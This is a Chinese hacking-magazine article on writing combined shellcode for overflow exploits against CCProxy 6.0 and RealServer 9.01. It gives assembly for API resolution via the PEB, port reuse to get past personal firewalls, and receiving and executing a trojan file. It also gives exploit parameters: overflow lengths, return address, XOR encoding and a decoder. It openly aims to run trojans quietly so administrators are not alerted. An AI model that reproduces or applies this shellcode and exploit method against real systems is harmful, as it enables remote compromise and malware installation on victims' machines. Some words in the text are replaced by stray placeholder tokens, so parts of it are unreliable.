今年《黑防》1、4期我各写了一篇关于溢出技术中突破防火墙的文章,但是却没有给出实际的汇编例子。ww0830在2期中写了一个复用+监听端口的例子,总算是有个补充。前段时间由于学习要求,我需要再编写一个针对CCProxy和RealServer这两个溢出漏洞的攻击代码。Shellcode要求是:满足攻击机器位于NAT的内网中的情况,溢出后能突破防火墙限制、突破操作系统版本限制、能自动接收并执行文件、{zh1}安全退出。这实际上是要编写一个综合性的Shellcode,结合这两个漏洞的具体情况,经过两整天的编写和调试最终成功,完整的Shellcode汇编代码和攻击程序参见文章附带的源码。这里我主要想和大家交流实现的思路和过程。 {dy}部分:打造综合功能的Shellcode 制定{zj0}的防火墙突破思路及文件传送方式 我们的目标是攻击个人主机,这里的防火墙也专指个人防火墙(PFW)。防火墙突破思路的选取将直接影响汇编代码的复杂程度和文件的传送方式,为什么这么说呢?先简单回顾一下4期文章《射雕之突破Windows个人防火墙》中总结的几种防火墙突破方法: 方法一、查找到当前连接的socket,在通过该连接完成指定的功能(如,传送文件)。关于socket的查找,有通过getpeername、字符串匹配、 hook recv等几种方式。实践证明,这几种方式要么不适用于攻击者位于内网的情况(getpeername法)、要么就是目标服务进程中代码在调用recv函数时开辟的缓冲区大小很难确定(字符串匹配法)或则是该服务进程根本就没使用recv函数来接收数据(hook recv法)。根据Shellcode设计要求,该方法不应该成为{sx}。 方法二、端口复用,也就是溢出成功后在目标服务进程中重复绑定其开放的TCP端口。这种方法应该能满足我们的设计要求,但它存在一个限制:假如服务进程中绑定端口时通过setsockopt函数设置了SO_EXCLUSIVEADDRUSE选项的话,重复绑定该端口是不会成功的。那么究竟怎么检测服务进程是否设置了SO_EXCLUSIVEADDRUSE呢?比如检测CCProxy进程(对应808端口),在本地运行该进程,另外编写一程序,绑定808端口,并且设置: setsockopt( fd, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) ) 如果bind函数返回0,则说明未设置SO_EXCLUSIVEADDRUSE,反之设置。 通过实验,CCProxy和RealServer服务进程中绑定端口时都没有设置SO_EXCLUSIVEADDRUSE,看来采用端口复用的方法是可行的!不急,把其它两种方法看了再说,说不定有更好的方法呢。 方法三、重新绑定服务进程开放端口。这种方法适合在第二种方法不起作用,即服务进程设置了SO_EXCLUSIVEADDRUSE时采用。它需要在重新绑定端口之前退出进程、移植文件、创建进程、向新进程注入Shellcode等工作。因此,这种方法是最通用的一种,也是实现起来最复杂的一种。 方法四、代码注入可信任进程。这种方法要求攻击者本机监听一常用端口(如80端口),Shellcode执行时创建可信任的进程(如Internet Explore),然后再将通信部分的Shellcode通过CreateRemoteThread注入到该进程中去让其执行以完成指定的功能。假如防火墙对外出的端口做了严格的限制,这种方法可能会失败,实现起来和第三中方法的复杂程度相近,但总的来讲成功率还是很高的。 比较完四种溢出成功后突破防火墙方法各自的优劣,毫无疑问,我选择第二种方法---端口复用。 接下来就是文件的传输方式。这里以目标系统为服务端,攻击者为客户端,客户端向服务器端上传文件。 取消系统版本的限制----Shellcode中API函数地址的动态获取 这部分不是什么新鲜的东西,在很多资料中都有描述,但它却是很基本、很重要的。编写Shellcode的过程中,很用到多个API函数来完成各种功能。但是不同的Windows版本(Windows2000、XP和Windows2003)中这些API函数地址不一样,如果用{jd1}的32位地址来表示的话,编写出来的代码是不通用的,大家用起来肯定郁闷。另一方面,这些函数地址都是通过GetProcAddress和LoadLibraryA两个函数来获取的,而LoadLibraryA函数的地址又是通过GetProcAddress获取的。因此只需要通过PEB获取Kernel32.dll地址,再通过Kernel32.dll的输出表查找GetProcAddress地址就OK了。下面直接给出汇编代码: mov eax, fs:0x30 //peb地址 mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov ebx, [eax + 0x08] //ebx = Kernel32.dll基址 mov eax, [ebx + 0x3c] //eax = PE header offset mov eax, [ebx + eax + 0x78] add eax, ebx // eax=输出表目录指针 mov [ebp + 20h], eax //保存输出表目录指针 mov ecx, [eax + 0x18] //函数名数目 mov eax, [eax + 0x20] add eax, ebx //eax = 函数名指针数组指针 mov DWORD ptr[ebp + 28h], eax //循环控制时保存当前函数名指针 xor esi, esi mov DWORD ptr[ebp + 24h], esi //用于循环控制时记数 mov dword ptr [ebp], 'PteG'//压入GetProcAddress地址 mov dword ptr [ebp + 4], 'Acor' mov dword ptr [ebp + 8], 'erdd' mov word ptr [ebp + 0xc], 'ss' mov byte ptr[ebp + 0xe], 0 mov esi, ebp push esi push ecx //保存外层循环次数 mov eax, [eax] //得出指针偏移 add eax, ebx //eax某个函数名地址 mov edi, eax mov ecx, 14 //GetProcAddress的长度 rep cmpsb jne FindNext //如果当前函数名不是指定的函数名则查找下一个 add esp,4 mov eax, [ebp + 20h] mov eax, [eax + 0x24] add eax, ebx //获得序号转换表地址,以便取得正确的函数地址序号 mov edi, DWORD ptr[ebp + 24h] shl edi, 1 //函数名序号*2 add eax, edi mov di, [eax] //di是对应的函数地址表中序号 mov eax, [ebp+20h] //然后找出函数地址,首先获取函数地址列表基址 mov eax, [eax + 0x1c] add eax, ebx shl edi, 2 add eax, edi mov eax, [eax] add eax, ebx //此时eax就是我们要查找的函数地址 jmp FoundLoadLibraryA FindNext: inc DWORD ptr[ebp + 24h] add DWORD ptr[ebp + 28h], 4 //下一个函数名指针 mov eax, DWORD ptr[ebp + 28h] pop ecx//恢复压入的ecx(NumberOfFunctions),进行计数循环 pop esi loop FindLoop //如果ecx不为0则递减并回到FindLoop,往后查找 FoundLoadLibraryA: mov [ebp+2Ch], eax //EAX是GetProcAddress函数地址 其它函数的查找这里就不贴出来了,可参见具体代码。{zh1},将查找出来的所有函数地址全部放在[ebp + 40h]开始的位置。 端口复用和文件传送的汇编实现 端口复用的部分代码如下: push esi push 2 call [ebp + 40h] //WSAStartup push 6 //IPPROTO_TCP push 1 //SOCK_STREAM push 2 //AF_INET call [ebp + 44h] //socket创建套接字 mov [ebp + 28h], eax push 4 mov dword ptr[esi + 400], 1 lea eax, [esi + 400] //存放optval, 占4字节 push eax push 4 //SO_REUSEADDR push 0xffff //SOL_SOCKET push [ebp + 28h] call [ebp + 48h] //setsockopt mov word ptr[esi + 404], 2 //AF_INET mov word ptr[esi + 406], 0x2A02 //htons(554) 2803(808) mov dword ptr[esi + 408], 0 //ADDR_ANY push 16 lea eax, [esi + 404] push eax push [ebp + 28h] call [ebp + 4ch] //bind push 2 push [ebp + 28h] call [ebp + 50h] //listen mov dword ptr[esi + 436], 16 lea eax, [esi + 436] push eax lea eax, [esi + 420] push eax push [ebp + 28h] call [ebp + 54h] //accept 其实上述实现过程就如同创建普通的网络服务程序一样,只是在为某些函数实参和返回值分配内存的时候应该注意不要发生地址重合了。 端口绑定成功之后,就是等待客户端的连接了。一旦检测到客户端连接过来,Shellcode就向客户端发送确认信息。这里本来还应该检查连接发起者身份是否就是攻击者,只是我把这一步省略了。发送了确认信息之后,就一直接收客户端发送的木马文件数据,存放到文件\aa.exe中,文件接收完毕后执行该文件。相关的汇编代码如下: mov [ebp + 24h], eax //保存客户端socket mov dword ptr[esi + 440], '!!ko' mov byte ptr[esi + 443], 0 push 0 push 4 lea eax, [esi + 440] push eax push [ebp + 24h] call [ebp + 58h] //send "ok!" mov dword ptr[esi + 444], 0x2E61615C mov dword ptr[esi + 448], 0x0011657865 push 0x0180 push 0x8301 lea eax, [esi + 444] push eax call [ebp + 60h] //_open创建文件 mov dword ptr[ebp + 20h], eax //保存文件句柄 mov dword ptr[ebp + 1ch], 0x00027031 //保存输入的文件大小 mov dword ptr[ebp + 18h], 0 //保存已经接收的文件大小 push 0 push 512 //每次接收512字节文件数据 lea eax, [esi + 500] push eax push [ebp + 24h] call [ebp + 5ch] //recv cmp eax, 0 jle end //if eax <= 0 则接收失败退出 add [ebp + 18h], eax //已接收文件大小 push eax lea eax, [esi + 500] push eax push [ebp + 20h] call [ebp + 64h]//_write mov byte ptr[esi + 480], 'y' lea eax, [esi + 480] push 0 push 1 push eax push [ebp + 24h] call [ebp + 58h] //send 返回字节'y' cmp eax, 0 jle end //失败退出 mov eax, dword ptr[ebp + 18h] cmp eax, dword ptr[ebp + 1ch] jl j1 push [ebp + 20h] call [ebp + 68h] //_close,传送完毕就关文件句柄 push 0 lea eax, [esi + 444] push eax call [ebp + 3ch] //WindowsExec 执行木马文件 end: 文件传输过程是需要攻击客户攻击程序与Shellcode严密配合的,每接收一组数据后,都发送一个确认信息’y’,保障通信的流畅性。此外,执行文件我是调用函数WindowsExec而非_execl,原因是_execl执行之后函数是不返回的,可能造成原服务进程发生异常而弹出骇人的错误对话框。 善始善终----安全退出 在调用WindowsExec执行木马文件后,应该采用安全退出的方式,这里采用ExitProcess函数,当然也可以采用ExitThread函数。否则,可能会在目标机器管理员面前突然弹出Windows默认错误对话框,从而引起管理员的警惕。汇编代码如下: end: push 0 call [ebp + 14h] {zh1}就是Shellcode的提取。汇编提取Shellcode是通过:获取调试内存数据 + Ult raEdit32编辑 + 加引号程序步骤来实现的。将汇编程序进入调试状态,调试指针指向{dy}句汇编。 选择debug窗口的memory选项,将汇编对应的机器码复制下来,粘贴到UltraEdit中。 用UltraEdit32列模式去掉每行前面的地址等非机器码部分后,保存为input.txt,{zh1}用加引号程序生成Shellcode。加引号程序的代码见附带的代码。 至此,Shellcode编写完成,通过测试达到了预期的功能。单纯的Shellcode测试方法很多,最近几期也有介绍,我这里不多罗嗦了。 实战----攻击代码的实现 Shellcode生成以后,就进入我们的实战阶段。我们的目的是成功利用CCProxy和RealServer这两个漏洞。这两个漏洞以前ISNO分析过,当时给出攻击代码功能是传统的监听空闲TCP端口。这里我们要将功能按照我们的要求进行改进,生成的Shellcode共3部分,编写攻击代码时直接将3部分连接在一个数组中就可以了。下面我谈谈这两个漏洞利用中值得注意的问题: CCProxy溢出漏洞的利用改进 CCProxy是多功能代理服务软件,其http代理端口默认是808端口。很多版本的CCProxy都存在溢出漏洞,只是目前为止这些漏洞都还没有正式公布出来,这里针对6.0 版本。向该端口发送超长的GET请求时会发生溢出,通过覆盖函数返回地址可以执行任意指令。看起来和普通的漏洞利用差不多,只是溢出串的长度和攻击者机器自身IP(或外网网关IP)长度有关。假设该IP长度为11(如61.139.2.33),则计算一个填充量offset=15 – 11 = 3,当发送4045 + offset字节请求时溢出发生,Shellcode的跳转地址嘛,当然还是那个0x7ffa4512。 关于传输文件的大小是攻击代码中动态获取,连同目标端口808一起填入Shellcode相应位置。经过编码(XOR XX),加上解码的代码就可以完成攻击代码了。 RealServer溢出漏洞的利用改进 RealServer9.01及以下版本具有一个指针溢出漏洞,对应端口为554,通过大量的“../”(DAS指令)过渡恰好可以形成非常通用的攻击代码,而且不需要用jmp esp这样的跳转指令。漏洞的细节这里也不再罗嗦,因为2004年6期《黑防》中有漏洞的分析。我在改写攻击代码的过程中,发现代码老是被截断。弄了老半天,终于发现编码后的Shellcode中’\r’、’\n’、0、0xff这样一些字符全都不能有,否则Shellcode被截断。通过尝试,发现XOR 0x85正好符合编码要求。此外,我们惯用的解码代码中由于有向前跳转的指令,也少不了0xff,因此也必须修改。通过调试发现溢出发生时,EBP +37h指向的位置刚好是待解码部分的首地址,因此变通一下,将解码部分汇编代码改为: MOV EDI,EBP ADD EDI,37 XOR ECX,ECX MOV DL,85 ADD CX,0334 decode :MOV BL,[EDI] //开始循环解码 XOR BL,DL MOV [EDI],BL INC EDI LOOP decode 小结 通过本文,我和大家交流了一个综合功能Shellcode的打造过程,以及该Shellcode在具体漏洞中的应用和相关问题的解决过程,希望能给有兴趣的朋友一点启示。其中很多东西还是很基础的,说明我们只要把基础知识慢慢打牢固了,才能够解决更多的问题,水平才能逐步提高。此外,限于本人技术水平,本文中肯定有一些我没有考虑到或则是讲的不够清楚的地方,如果大家有一些更好意见,欢迎和我多多交流,以便共同提高。 |